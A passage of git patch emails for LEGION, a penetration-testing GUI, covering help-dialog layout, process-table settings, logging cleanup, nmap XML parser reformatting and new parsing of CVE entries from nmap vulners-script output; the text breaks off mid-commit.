super(HelpDialog, self).__init__(parent) self.name = name self.author = author self.copyright = copyright + self.links = links self.emails = emails self.version = version self.build = build self.update = update - self.desc = QtWidgets.QLabel(desc + '
') + self.desc = QtWidgets.QLabel(desc) self.smallIcon = smallIcon self.bigIcon = bigIcon self.qss = qss @@ -74,7 +75,7 @@ def Qui_update(self): self.logoapp = QtWidgets.QLabel('') self.logoapp.setPixmap(QtGui.QPixmap(self.smallIcon).scaled(64,64)) self.form = QtWidgets.QFormLayout() - self.form2 = QtWidgets.QHBoxLayout() + self.form2 = QtWidgets.QVBoxLayout() self.form.addRow(self.logoapp,QtWidgets.QLabel('

{0} {1}-{2}

'.format(self.name, self.version, self.build))) self.tabwid = QtWidgets.QTabWidget(self) self.TabAbout = QtWidgets.QWidget(self) @@ -91,11 +92,15 @@ def Qui_update(self): # About section self.formAbout.addRow(self.desc) + self.formAbout.addRow(QtWidgets.QLabel('
')) self.formAbout.addRow(QtWidgets.QLabel('Last Update:')) self.formAbout.addRow(QtWidgets.QLabel(self.update + '
')) self.formAbout.addRow(QtWidgets.QLabel('Feedback:')) + for link in self.links: + self.formAbout.addRow(QtWidgets.QLabel('{0}'.format(link))) for email in self.emails: self.formAbout.addRow(QtWidgets.QLabel(email)) + self.formAbout.addRow(QtWidgets.QLabel('
')) self.formAbout.addRow(QtWidgets.QLabel(self.copyright + ' ' + self.author)) self.gnu = QtWidgets.QLabel('License: GNU General Public License Version
') self.gnu.linkActivated.connect(self.link) @@ -118,13 +123,13 @@ def Qui_update(self): self.formChange.addRow(ChangeLog(qss = self.qss)) self.TabChangelog.setLayout(self.formChange) - # self.form.addRow(self.cmdClose) + #self.form.addRow(self.cmdClose) self.tabwid.addTab(self.TabAbout,'About') self.tabwid.addTab(self.TabVersion,'Version') self.tabwid.addTab(self.TabChangelog,'ChangeLog') self.form.addRow(self.tabwid) - self.form2.addSpacing(240) - self.form2.addWidget(self.cmdClose) + self.form2.addWidget(QtWidgets.QLabel('
')) + self.form2.addWidget(self.cmdClose, alignment = Qt.AlignCenter) self.form.addRow(self.form2) self.Main.addLayout(self.form) self.setLayout(self.Main) diff --git a/ui/view.py b/ui/view.py index a59d79cf..672b4d13 100644 --- a/ui/view.py +++ b/ui/view.py @@ -60,7 +60,7 @@ def startOnce(self): self.importProgressWidget = ProgressWidget('Importing nmap..', self.ui.centralwidget) self.adddialog = AddHostsDialog(self.ui.centralwidget) self.settingsWidget = AddSettingsDialog(self.ui.centralwidget) - self.helpDialog = HelpDialog(self.controller.name, self.controller.author, self.controller.copyright, self.controller.emails, self.controller.version, self.controller.build, self.controller.update, self.controller.license, self.controller.desc, self.controller.smallIcon, self.controller.bigIcon, qss = self.qss, parent = self.ui.centralwidget) + self.helpDialog = HelpDialog(self.controller.name, self.controller.author, self.controller.copyright, self.controller.links, self.controller.emails, self.controller.version, self.controller.build, self.controller.update, self.controller.license, self.controller.desc, self.controller.smallIcon, self.controller.bigIcon, qss = self.qss, parent = self.ui.centralwidget) self.ui.HostsTableView.setSelectionMode(1) # disable multiple selection self.ui.ServiceNamesTableView.setSelectionMode(1) From 7f2d7d9cabe84b2f0300acb728520a03acf68212 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Mon, 25 Feb 2019 17:26:35 -0600 Subject: [PATCH 143/450] Cleanup, Add settings option for process column details --- app/logic.py | 1 - app/settings.py | 4 +++- controller/controller.py | 12 +++++------- legion.conf | 3 ++- ui/ancillaryDialog.py | 2 -- ui/view.py | 16 +++++++--------- 6 files changed, 17 insertions(+), 21 deletions(-) diff --git a/app/logic.py b/app/logic.py index ac0f5ab4..968450c4 100644 --- a/app/logic.py +++ b/app/logic.py @@ -847,7 +847,6 @@ def run(self): # it is nece session.add(db_script) totalprogress = 100 - #self.tick.emit(int(totalprogress)) self.importProgressWidget.setProgress(int(totalprogress)) self.importProgressWidget.show() diff --git a/app/settings.py b/app/settings.py index 494bf079..3598af5c 100644 --- a/app/settings.py +++ b/app/settings.py @@ -177,6 +177,7 @@ def backupAndSave(self, newSettings, saveBackup = True): self.actions.beginGroup('GUISettings') self.actions.setValue('process-tab-column-widths', newSettings.gui_process_tab_column_widths) + self.actions.setValue('process-tab-detail', newSettings.gui_process_tab_detail) self.actions.endGroup() self.actions.beginGroup('HostActions') @@ -238,6 +239,7 @@ def __init__(self, appSettings=None): # GUI settings self.gui_process_tab_column_widths = "125,0,100,150,100,100,100,100,100,100,100,100,100,100,100,100,100" + self.gui_process_tab_detail = False self.hostActions = [] self.portActions = [] @@ -292,12 +294,12 @@ def __init__(self, appSettings=None): # gui self.gui_process_tab_column_widths = self.guiSettings['process-tab-column-widths'] + self.gui_process_tab_detail = self.guiSettings['process-tab-detail'] except KeyError as e: log.info('Something went wrong while loading the configuration file. Falling back to default settings for some settings.') log.info('Go to the settings menu to fix the issues!') log.error(str(e)) - # TODO: send signal to automatically open settings dialog here def __eq__(self, other): # returns false if settings objects are different if type(other) is type(self): diff --git a/controller/controller.py b/controller/controller.py index 65500831..7618f59c 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,7 +28,7 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.0' - self.build = '1551134714' + self.build = '1551137165' self.author = 'GoVanguard' self.copyright = '2019' self.links = ['http://github.com/GoVanguard/legion/issues', 'https://GoVanguard.io/legion'] @@ -103,14 +103,13 @@ def loadSettings(self): self.view.settingsWidget.setSettings(Settings(self.settingsFile)) def applySettings(self, newSettings): # call this function when clicking 'apply' in the settings menu (after validation) - log.info('Applying settings!') self.settings = newSettings def cancelSettings(self): # called when the user presses cancel in the Settings dialog self.view.settingsWidget.setSettings(self.settings) # resets the dialog's settings to the current application settings to forget any changes made by the user @timing - def saveSettings(self, saveBackup=True): + def saveSettings(self, saveBackup = True): if not self.settings == self.originalSettings: log.info('Settings have been changed.') self.settingsFile.backupAndSave(self.settings, saveBackup) @@ -447,7 +446,6 @@ def handleProcessAction(self, selectedProcesses, action): # selectedPr for p in selectedProcesses: if p[1]!="Running": if p[1]=="Waiting": - #print "Process still waiting to start. Skipping." if str(self.logic.getProcessStatusForDBId(p[2])) == 'Running': self.killProcess(self.view.ProcessesTableModel.getProcessPidForId(p[2]), p[2]) self.logic.storeProcessCancelStatusInDB(str(p[2])) @@ -618,10 +616,10 @@ def handleProcUpdate(*vargs): qProcess.sigHydra.connect(self.handleHydraFindings) qProcess.finished.connect(lambda: self.processFinished(qProcess)) qProcess.error.connect(lambda: self.processCrashed(qProcess)) - print("runCommand called for stage {0}".format(str(stage))) + log.info("runCommand called for stage {0}".format(str(stage))) if stage > 0 and stage < 5: # if this is a staged nmap, launch the next stage - print("runCommand connected for stage {0}".format(str(stage))) + log.info("runCommand connected for stage {0}".format(str(stage))) nextStage = stage + 1 qProcess.finished.connect(lambda: self.runStagedNmap(str(hostip), discovery = discovery, stage = nextStage, stop = self.logic.isKilledProcess(str(qProcess.id)))) @@ -662,7 +660,7 @@ def runPython(self): # recursive function used to run nmap in different stages for quick results def runStagedNmap(self, targetHosts, discovery = True, stage = 1, stop = False): - print("runStagedNmap called for stage {0}".format(str(stage))) + log.info("runStagedNmap called for stage {0}".format(str(stage))) if not stop: textbox = self.view.createNewTabForHost(str(targetHosts), 'nmap (stage '+str(stage)+')', True) outputfile = self.logic.runningfolder+"/nmap/"+getTimestamp()+'-nmapstage'+str(stage) diff --git a/legion.conf b/legion.conf index 61815870..236576de 100644 --- a/legion.conf +++ b/legion.conf @@ -9,7 +9,8 @@ store-cleartext-passwords-on-exit=True username-wordlist-path=/usr/share/wordlists/ [GUISettings] -process-tab-column-widths="125,0,100,150,100,100,134,100,100,100,100,100,0,100,19,100,100" +process-tab-column-widths="125,0,55,92,32,0,174,132,0,0,0,0,0,0,0,658,100" +process-tab-detail=False [GeneralSettings] default-terminal=gnome-terminal diff --git a/ui/ancillaryDialog.py b/ui/ancillaryDialog.py index 8e9a75c9..8929fdd7 100644 --- a/ui/ancillaryDialog.py +++ b/ui/ancillaryDialog.py @@ -33,7 +33,6 @@ def __init__(self, text, parent=None): self.setupLayout() def setupLayout(self): - #self.setWindowModality(True) vbox = QtWidgets.QVBoxLayout() self.label = QtWidgets.QLabel(self.text) self.progressBar = QtWidgets.QProgressBar() @@ -48,7 +47,6 @@ def setProgress(self, progress): if progress > 100: progress = 100 self.progressBar.setValue(progress) - print("progress {0}".format(str(progress))) def setText(self, text): self.text = text diff --git a/ui/view.py b/ui/view.py index 672b4d13..07e9f220 100644 --- a/ui/view.py +++ b/ui/view.py @@ -230,9 +230,6 @@ def setDirty(self, status=True): # this funct #################### ACTIONS #################### - - ### - def connectProcessTableHeaderResize(self): self.ui.ProcessesTableView.horizontalHeader().sectionResized.connect(self.saveProcessHeaderWidth) @@ -243,8 +240,6 @@ def saveProcessHeaderWidth(self, index, oldSize, newSize): columnWidths[index] = str(newSize) self.controller.settings.gui_process_tab_column_widths = ','.join(columnWidths) self.controller.applySettings(self.controller.settings) - self.controller.saveSettings(False) - ### def dealWithRunningProcesses(self, exiting=False): if len(self.controller.getRunningProcesses()) > 0: @@ -442,9 +437,8 @@ def connectImportNmap(self): def importNmap(self): self.ui.statusbar.showMessage('Importing nmap xml..', msecs=1000) filename = QtWidgets.QFileDialog.getOpenFileName(self.ui.centralwidget, 'Choose nmap file', self.controller.getCWD(), filter='XML file (*.xml)')[0] - print(str(filename)) + log.info('Importing nmap xml from {0}...'.format(str(filename))) if not filename == '': - if not os.access(filename, os.R_OK): # check for read permissions on the xml file log.info('Insufficient permissions to read this file.') reply = QtWidgets.QMessageBox.warning(self.ui.centralwidget, 'Warning', "You don't have the necessary permissions to read this file.", "Ok") @@ -1170,7 +1164,12 @@ def updateProcessesTableView(self): header.resizeSection(index, int(width)) #Hides columns we don't want to see - for i in [1, 12, 14, 16]: + showDetail = self.controller.settings.gui_process_tab_detail + if showDetail == True: + columnsToHide = [1, 5, 8, 9, 12, 14, 16] + else: + columnsToHide = [1, 5, 8, 9, 10, 11, 12, 13, 14, 16] + for i in columnsToHide: self.ui.ProcessesTableView.setColumnHidden(i, True) # Force size of progress animation @@ -1347,7 +1346,6 @@ def restoreToolTabs(self): self.tick.emit(int(totalprogress)) for t in tools: - print(str(t)) if not t.tabtitle == '': if 'screenshot' in str(t.tabtitle): imageviewer = self.createNewTabForHost(t.hostip, t.tabtitle, True, '', str(self.controller.getOutputFolder())+'/screenshots/'+str(t.outputfile)) From a67da780cdaa8bc99c709fc55b3d24a895aeef0c Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Mon, 25 Feb 2019 19:21:42 -0600 Subject: [PATCH 144/450] Fix parser edge cases, Fix import on addHost dialog --- app/logic.py | 46 ++++----- controller/controller.py | 2 +- db/database.py | 2 +- legion.conf | 2 +- parsers/CPE.py | 34 +++++++ parsers/Parser.py | 205 ++++++++++++++++++++------------------- parsers/Port.py | 12 +++ ui/view.py | 2 +- 8 files changed, 176 insertions(+), 129 deletions(-) create mode 100644 parsers/CPE.py diff --git a/app/logic.py b/app/logic.py index 968450c4..e3c30333 100644 --- a/app/logic.py +++ b/app/logic.py @@ -22,13 +22,12 @@ class Logic(): def __init__(self): - self.cwd = str(subprocess.check_output("echo $PWD", shell=True)[:-1].decode())+'/' + self.cwd = str(subprocess.check_output("echo $PWD", shell=True)[:-1].decode()) + '/' self.createTemporaryFiles() # creates temporary files/folders used by SPARTA def createTemporaryFiles(self): try: log.info('Creating temporary files..') - self.istemp = True # indicates that file is temporary and can be deleted if user exits without saving log.info(self.cwd) tf = tempfile.NamedTemporaryFile(suffix=".legion",prefix="legion-", delete=False, dir="./tmp/") # to store the database file @@ -42,30 +41,31 @@ def createTemporaryFiles(self): self.projectname = tf.name log.info(tf.name) self.db = Database(self.projectname) - + except: log.info('Something went wrong creating the temporary files..') log.info("Unexpected error: {0}".format(sys.exc_info()[0])) - def removeTemporaryFiles(self): - return - log.info('Removing temporary files and folders..') - try: - if not self.istemp: # if current project is not temporary - if not self.storeWordlists: # delete wordlists if necessary - log.info('Removing wordlist files.') - os.remove(self.usernamesWordlist.filename) - os.remove(self.passwordsWordlist.filename) + def removeTemporaryFiles(self, doCleanup = False): + if doCleanup == True: + log.info('Removing temporary files and folders..') + try: + if not self.istemp: # if current project is not temporary + if not self.storeWordlists: # delete wordlists if necessary + log.info('Removing wordlist files.') + os.remove(self.usernamesWordlist.filename) + os.remove(self.passwordsWordlist.filename) - else: - os.remove(self.projectname) - shutil.rmtree(self.outputfolder) + else: + os.remove(self.projectname) + shutil.rmtree(self.outputfolder) - shutil.rmtree(self.runningfolder) + shutil.rmtree(self.runningfolder) - except: - log.info('Something went wrong removing temporary files and folders..') - log.info("Unexpected error: {0}".format(sys.exc_info()[0])) + except: + log.info('Something went wrong removing temporary files and folders..') + log.info("Unexpected error: {0}".format(sys.exc_info()[0])) + return def createFolderForTool(self, tool): if 'nmap' in tool: @@ -652,9 +652,8 @@ def run(self): # it is nece hostCount = len(parser.all_hosts()) if hostCount==0: # to fix a division by zero if we ran nmap on one host hostCount=1 - #progress = 100.0 / hostCount totalprogress = 0 - #self.tick.emit(int(totalprogress)) + self.importProgressWidget.setProgress(int(totalprogress)) self.importProgressWidget.show() @@ -673,9 +672,9 @@ def run(self): # it is nece session.add(t_note) else: self.tsLog("Found db_host already in db") + createProgress = createProgress + ((100.0 / hostCount) / 5) totalprogress = totalprogress + createProgress - #self.tick.emit(int(totalprogress)) self.importProgressWidget.setProgress(int(totalprogress)) self.importProgressWidget.show() @@ -703,12 +702,13 @@ def run(self): # it is nece #osCves = self.getCveFuzzy(os.name) #print(osCves) #for osCve in osCves: + # print(osCve) # t_cve = cve(name = osCve, url = "http://test", criteria = 'crit:test', fingerprint = 'fing:test') # session.add(t_cve) + #session.commit() # t_cve = None createOsNodesProgress = createOsNodesProgress + ((100.0 / hostCount) / 5) totalprogress = totalprogress + createOsNodesProgress - #self.tick.emit(int(totalprogress)) self.importProgressWidget.setProgress(int(totalprogress)) self.importProgressWidget.show() diff --git a/controller/controller.py b/controller/controller.py index 7618f59c..06a78af4 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,7 +28,7 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.0' - self.build = '1551137165' + self.build = '1551144003' self.author = 'GoVanguard' self.copyright = '2019' self.links = ['http://github.com/GoVanguard/legion/issues', 'https://GoVanguard.io/legion'] diff --git a/db/database.py b/db/database.py index 92510a86..b061ef4c 100644 --- a/db/database.py +++ b/db/database.py @@ -45,7 +45,7 @@ class process(Base): estimatedremaining = Column(Integer) elapsed = Column(Integer) outputfile = Column(String) - output = relationship("process_output") #, uselist = False, backref = "process") + output = relationship("process_output") status = Column(String) closed = Column(String) diff --git a/legion.conf b/legion.conf index 236576de..99ec41c4 100644 --- a/legion.conf +++ b/legion.conf @@ -9,7 +9,7 @@ store-cleartext-passwords-on-exit=True username-wordlist-path=/usr/share/wordlists/ [GUISettings] -process-tab-column-widths="125,0,55,92,32,0,174,132,0,0,0,0,0,0,0,658,100" +process-tab-column-widths="125,0,55,92,32,0,417,132,0,0,0,0,0,0,0,658,100" process-tab-detail=False [GeneralSettings] diff --git a/parsers/CPE.py b/parsers/CPE.py new file mode 100644 index 00000000..f20ece62 --- /dev/null +++ b/parsers/CPE.py @@ -0,0 +1,34 @@ +#!/usr/bin/python + +import sys +import xml.dom.minidom + +class CPE: + extrainfo = '' + name = '' + product = '' + fingerprint = '' + version = '' + + def __init__( self, CPE ): + self.name = None + +#cpe:/o:microsoft:windows + +if __name__ == '__main__': + + dom = xml.dom.minidom.parse('i.xml') + + cpes = dom.getElementsByTagName('cpe') + print(cpes) + if len(cpes) == 0: + sys.exit() + + node = dom.getElementsByTagName('service')[0] + + #s = CPE( node ) + #log.info(s.name) + #log.info(s.product) + #log.info(s.version) + #log.info(s.extrainfo) + #log.info(s.fingerprint) diff --git a/parsers/Parser.py b/parsers/Parser.py index e6aaf4d0..cea4eee5 100644 --- a/parsers/Parser.py +++ b/parsers/Parser.py @@ -17,132 +17,133 @@ class Parser: - '''Parser class, parse a xml format nmap report''' - def __init__( self, xml_input ): - '''constructor function, need a xml file name as the argument''' - try: - self.__dom = xml.dom.minidom.parse(xml_input) - self.__session = None - self.__hosts = { } - for host_node in self.__dom.getElementsByTagName('host'): - __host = Host.Host(host_node) - self.__hosts[__host.ip] = __host - except Exception as ex: - log.info("Parser error! Invalid nmap file!") - #logging.error(ex) - raise + '''Parser class, parse a xml format nmap report''' + def __init__( self, xml_input): + '''constructor function, need a xml file name as the argument''' + try: + self.__dom = xml.dom.minidom.parse(xml_input) + self.__session = None + self.__hosts = { } + for host_node in self.__dom.getElementsByTagName('host'): + __host = Host.Host(host_node) + self.__hosts[__host.ip] = __host + except Exception as ex: + log.info("Parser error! Invalid nmap file!") + #logging.error(ex) + raise - def get_session( self ): - '''get this scans information, return a Session object''' - run_node = self.__dom.getElementsByTagName('nmaprun')[0] - hosts_node = self.__dom.getElementsByTagName('hosts')[0] + def get_session( self ): + '''get this scans information, return a Session object''' + run_node = self.__dom.getElementsByTagName('nmaprun')[0] + hosts_node = self.__dom.getElementsByTagName('hosts')[0] - finish_time = self.__dom.getElementsByTagName('finished')[0].getAttribute('timestr') + finish_time = self.__dom.getElementsByTagName('finished')[0].getAttribute('timestr') - nmap_version = run_node.getAttribute('version') - start_time = run_node.getAttribute('startstr') - scan_args = run_node.getAttribute('args') + nmap_version = run_node.getAttribute('version') + start_time = run_node.getAttribute('startstr') + scan_args = run_node.getAttribute('args') - total_hosts = hosts_node.getAttribute('total') - up_hosts = hosts_node.getAttribute('up') - down_hosts = hosts_node.getAttribute('down') + total_hosts = hosts_node.getAttribute('total') + up_hosts = hosts_node.getAttribute('up') + down_hosts = hosts_node.getAttribute('down') - MySession = { 'finish_time': finish_time, - 'nmap_version' : nmap_version, - 'scan_args' : scan_args, - 'start_time' : start_time, - 'total_hosts' : total_hosts, - 'up_hosts' : up_hosts, - 'down_hosts' : down_hosts } + MySession = { 'finish_time': finish_time, + 'nmap_version' : nmap_version, + 'scan_args' : scan_args, + 'start_time' : start_time, + 'total_hosts' : total_hosts, + 'up_hosts' : up_hosts, + 'down_hosts' : down_hosts } - self.__session = Session.Session( MySession ) + self.__session = Session.Session( MySession ) - return self.__session + return self.__session - def get_host( self, ipaddr ): + def get_host( self, ipaddr ): - '''get a Host object by ip address''' + '''get a Host object by ip address''' - return self.__hosts.get(ipaddr) + return self.__hosts.get(ipaddr) - def all_hosts( self, status = '' ): + def all_hosts( self, status = '' ): - '''get a list of Host object''' + '''get a list of Host object''' - if( status == '' ): - return self.__hosts.values( ) + if( status == '' ): + return self.__hosts.values( ) - else: - __tmp_hosts = [ ] + else: + __tmp_hosts = [ ] - for __host in self.__hosts.values( ): + for __host in self.__hosts.values( ): - if __host.status == status: - __tmp_hosts.append( __host ) + if __host.status == status: + __tmp_hosts.append( __host ) - return __tmp_hosts + return __tmp_hosts - def all_ips( self, status = '' ): + def all_ips( self, status = '' ): - '''get a list of ip address''' - __tmp_ips = [ ] + '''get a list of ip address''' + __tmp_ips = [ ] - if( status == '' ): - for __host in self.__hosts.values( ): + if( status == '' ): + for __host in self.__hosts.values( ): - __tmp_ips.append( __host.ip ) + __tmp_ips.append( __host.ip ) - else: - for __host in self.__hosts.values( ): + else: + for __host in self.__hosts.values( ): - if __host.status == status: - __tmp_ips.append( __host.ip ) + if __host.status == status: + __tmp_ips.append( __host.ip ) - return __tmp_ips + return __tmp_ips if __name__ == '__main__': - parser = Parser( 'a-full.xml' ) - - log.info('\nscan session:') - session = parser.get_session() - log.info("\tstart time:\t" + session.start_time) - log.info("\tstop time:\t" + session.finish_time) - log.info("\tnmap version:\t" + session.nmap_version) - log.info("\tnmap args:\t" + session.scan_args) - log.info("\ttotal hosts:\t" + session.total_hosts) - log.info("\tup hosts:\t" + session.up_hosts) - log.info("\tdown hosts:\t" + session.down_hosts) - - for h in parser.all_hosts(): - - log.info('host ' +h.ip + ' is ' + h.status) - - for port in h.get_ports( 'tcp', 'open' ): - log.info("\t---------------------------------------------------") - log.info("\tservice of tcp port " + port + ":") - s = h.get_service( 'tcp', port ) - - if s == None: - log.info("\t\tno service") - - else: - log.info("\t\t" + s.name) - log.info("\t\t" + s.product) - log.info("\t\t" + s.version) - log.info("\t\t" + s.extrainfo) - log.info("\t\t" + s.fingerprint) - - log.info("\tscript output:") - sc = port.get_scripts() - - if sc == None: - log.info("\t\tno scripts") - - else: - for scr in sc: - log.info("Script ID: " + scr.scriptId) - log.info("Output: ") - log.info(scr.output) - - log.info("\t---------------------------------------------------") + parser = Parser( 'a-full.xml' ) + + log.info('\nscan session:') + session = parser.get_session() + log.info("\tstart time:\t" + session.start_time) + log.info("\tstop time:\t" + session.finish_time) + log.info("\tnmap version:\t" + session.nmap_version) + log.info("\tnmap args:\t" + session.scan_args) + log.info("\ttotal hosts:\t" + session.total_hosts) + log.info("\tup hosts:\t" + session.up_hosts) + log.info("\tdown hosts:\t" + session.down_hosts) + + for h in parser.all_hosts(): + + log.info('host ' +h.ip + ' is ' + h.status) + + for port in h.get_ports( 'tcp', 'open' ): + print(port) + log.info("\t---------------------------------------------------") + log.info("\tservice of tcp port " + port + ":") + s = h.get_service( 'tcp', port ) + + if s == None: + log.info("\t\tno service") + + else: + log.info("\t\t" + s.name) + log.info("\t\t" + s.product) + log.info("\t\t" + s.version) + log.info("\t\t" + s.extrainfo) + log.info("\t\t" + s.fingerprint) + + log.info("\tscript output:") + sc = port.get_scripts() + + if sc == None: + log.info("\t\tno scripts") + + else: + for scr in sc: + log.info("Script ID: " + scr.scriptId) + log.info("Output: ") + log.info(scr.output) + + log.info("\t---------------------------------------------------") diff --git a/parsers/Port.py b/parsers/Port.py index f4a72728..33429bee 100644 --- a/parsers/Port.py +++ b/parsers/Port.py @@ -5,6 +5,7 @@ import sys import xml.dom.minidom +#import parsers.CPE as CPE import parsers.Service as Service import parsers.Script as Script @@ -29,6 +30,17 @@ def get_service(self): return None + # def get_cpe(self): + + # cpes = [] + # cpe = self.port_node.getElementsByTagName('cpe') + # print(cpe) + + # if len(cpe) > 0: + # return CPE.CPE(cpe[0]) + + # return None + def get_scripts(self): scripts = [ ] diff --git a/ui/view.py b/ui/view.py index 07e9f220..f088834e 100644 --- a/ui/view.py +++ b/ui/view.py @@ -419,7 +419,7 @@ def callAddHosts(self): if len(nmapOptionValueSplit) > 1: nmapOptionValue = nmapOptionValueSplit[1].replace(']','') nmapOptions.append(nmapOptionValue) - nmapOptions.append(str(self.adddialog.txtCustomOptList)) + nmapOptions.append(str(self.adddialog.txtCustomOptList.text())) for hostListEntry in hostList: self.controller.addHosts(targetHosts = hostListEntry, runHostDiscovery = self.adddialog.chkDiscovery.isChecked(), runStagedNmap = self.adddialog.chkNmapStaging.isChecked(), nmapSpeed = self.adddialog.sldScanTimingSlider.value(), scanMode = scanMode, nmapOptions = nmapOptions) self.adddialog.cmdAddButton.clicked.disconnect() # disconnect all the signals from that button From a4fda9a162c733d3dee49adb83554be77258003d Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Mon, 25 Feb 2019 22:55:54 -0600 Subject: [PATCH 145/450] Revise CVE processing --- app/logic.py | 5 +++ controller/controller.py | 2 +- db/database.py | 14 +++++--- parsers/CPE.py | 34 ------------------- parsers/CVE.py | 20 +++++++++++ parsers/Port.py | 1 - parsers/Script.py | 73 ++++++++++++++++++++++++++++++++++++++++ 7 files changed, 108 insertions(+), 41 deletions(-) delete mode 100644 parsers/CPE.py create mode 100644 parsers/CVE.py diff --git a/app/logic.py b/app/logic.py index e3c30333..1589057b 100644 --- a/app/logic.py +++ b/app/logic.py @@ -757,6 +757,11 @@ def run(self): # it is nece self.tsLog(" Processing script obj {scr}".format(scr=str(scr))) db_port = session.query(nmap_port).filter_by(host_id=db_host.id).filter_by(port_id=p.portId).filter_by(protocol=p.protocol).first() db_script = session.query(nmap_script).filter_by(script_id=scr.scriptId).filter_by(port_id=db_port.id).first() + cveResults = scr.get_cves() + for cveEntry in cveResults: + t_cve = cve(name = cveEntry.name, url = cveEntry.url, source = cveEntry.source, severity = cveEntry.severity, product = cveEntry.product, version = cveEntry.version) + session.add(t_cve) + session.commit() if not db_script: # if this script object doesn't exist, create it t_nmap_script = nmap_script(scr.scriptId, scr.output, db_port.id, db_host.id) diff --git a/controller/controller.py b/controller/controller.py index 06a78af4..f949e6db 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,7 +28,7 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.0' - self.build = '1551144003' + self.build = '1551156936' self.author = 'GoVanguard' self.copyright = '2019' self.links = ['http://github.com/GoVanguard/legion/issues', 'https://GoVanguard.io/legion'] diff --git a/db/database.py b/db/database.py index b061ef4c..49966745 100644 --- a/db/database.py +++ b/db/database.py @@ -133,16 +133,20 @@ class cve(Base): id = Column(Integer, primary_key = True) url = Column(String) name = Column(String) - criteria = Column(String) - fingerprint = Column(String) + product = Column(String) + severity = Column(String) + source = Column(String) + version = Column(String) service_id = Column(String, ForeignKey('nmap_service.id')) host_id = Column(String, ForeignKey('nmap_host.id')) - def __init__(self, url = '', name = '', criteria = '', fingerprint = ''): + def __init__(self, url = '', name = '', product = '', severity = '', source = '', version = ''): self.url = url self.name = name - self.criteria = criteria - self.fingerprint = fingerprint + self.product = product + self.severity = severity + self.source = source + self.version = version class nmap_service(Base): __tablename__ = 'nmap_service' diff --git a/parsers/CPE.py b/parsers/CPE.py deleted file mode 100644 index f20ece62..00000000 --- a/parsers/CPE.py +++ /dev/null @@ -1,34 +0,0 @@ -#!/usr/bin/python - -import sys -import xml.dom.minidom - -class CPE: - extrainfo = '' - name = '' - product = '' - fingerprint = '' - version = '' - - def __init__( self, CPE ): - self.name = None - -#cpe:/o:microsoft:windows - -if __name__ == '__main__': - - dom = xml.dom.minidom.parse('i.xml') - - cpes = dom.getElementsByTagName('cpe') - print(cpes) - if len(cpes) == 0: - sys.exit() - - node = dom.getElementsByTagName('service')[0] - - #s = CPE( node ) - #log.info(s.name) - #log.info(s.product) - #log.info(s.version) - #log.info(s.extrainfo) - #log.info(s.fingerprint) diff --git a/parsers/CVE.py b/parsers/CVE.py new file mode 100644 index 00000000..0e1b3e40 --- /dev/null +++ b/parsers/CVE.py @@ -0,0 +1,20 @@ +#!/usr/bin/python + +import sys +import xml.dom.minidom + +class CVE: + name = '' + product = '' + version = '' + url = '' + source = '' + severity = '' + + def __init__(self, cveData): + self.name = cveData['id'] + self.product = cveData['product'] + self.version = cveData['version'] + self.url = cveData['url'] + self.source = cveData['source'] + self.severity = cveData['severity'] diff --git a/parsers/Port.py b/parsers/Port.py index 33429bee..c1f0e415 100644 --- a/parsers/Port.py +++ b/parsers/Port.py @@ -5,7 +5,6 @@ import sys import xml.dom.minidom -#import parsers.CPE as CPE import parsers.Service as Service import parsers.Script as Script diff --git a/parsers/Script.py b/parsers/Script.py index be61ec78..e8ae190b 100644 --- a/parsers/Script.py +++ b/parsers/Script.py @@ -6,6 +6,7 @@ import sys import xml.dom.minidom +import parsers.CVE as CVE class Script: scriptId = '' @@ -17,6 +18,78 @@ def __init__(self, ScriptNode): self.output = ScriptNode.getAttribute('output') + def processVulnersScriptOutput(self, vulnersOutput): + output = vulnersOutput.replace('\t\t\t','\t') + output = output.replace('\t\t','\t') + output = output.replace('\t',';') + output = output.replace('\n;','\n') + output = output.replace(' ','') + output = output.split('\n') + output = [entry for entry in output if len(entry) > 1] + + cpeList = [] + count = 0 + for entry in output: + if 'cpe' in entry: + cpeList.append(entry) + output[count] = 'CPE' + count = count + 1 + + output = ' '.join(output) + output = output.split('CPE') + output = [entry for entry in output if len(entry) > 1] + + resultsDict = {} + counter = 0 + for cpeEntry in cpeList: + resultCpeData = cpeEntry.split(':') + resultCpeData = [entry for entry in resultCpeData if len(entry) > 1] + resultCpeDetails = {} + resultCpeDetails['type'] = resultCpeData[1] + resultCpeDetails['source'] = resultCpeData[2] + resultCpeDetails['product'] = resultCpeData[3] + resultCpeDetails['version'] = resultCpeData[4] + resultCves = output[counter] + resultCves = resultCves.split(' ') + resultCves = [entry for entry in resultCves if len(entry) > 1] + resultCvesProcessed = [] + for resultCve in resultCves: + resultCveDict = {} + resultCveData = resultCve.split(';') + resultCveDict['id'] = resultCveData[0] + resultCveDict['severity'] = resultCveData[1] + resultCveDict['url'] = resultCveData[2] + resultCvesProcessed.append(resultCveDict) + resultCpeDetails['cves'] = resultCvesProcessed + resultsDict[resultCpeData[3]] = resultCpeDetails + count = count + 1 + + return resultsDict + + def get_cves(self): + cveOutput = self.output + cveObjects = [] + + if len(cveOutput) > 0: + cvesResults = self.processVulnersScriptOutput(cveOutput) + for cpeEntry in cvesResults: + cpeData = cvesResults[cpeEntry] + cpeProduct = cpeEntry + cpeType = cpeData['type'] + cpeVersion = cpeData['version'] + cpeSource = cpeData['source'] + cpeCves = cpeData['cves'] + for cveEntry in cpeCves: + cveData = cveEntry + cveData['type'] = cpeType + cveData['version'] = cpeVersion + cveData['source'] = cpeSource + cveData['product'] = cpeProduct + cveObj = CVE.CVE(cveData) + cveObjects.append(cveObj) + return cveObjects + return None + if __name__ == '__main__': dom = xml.dom.minidom.parse('a-full.xml') From 6409f92ae8e95ec387407b87afd2df76baaf2037 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Tue, 26 Feb 2019 01:17:20 -0600 Subject: [PATCH 146/450] Fixed the CVE panel --- app/cvemodels.py | 115 +++++++++++++++++++++++++++++++++++++++ app/logic.py | 10 +++- controller/controller.py | 7 ++- db/database.py | 4 +- legion.conf | 2 +- ui/gui.py | 19 ++++--- ui/view.py | 34 +++++++++--- 7 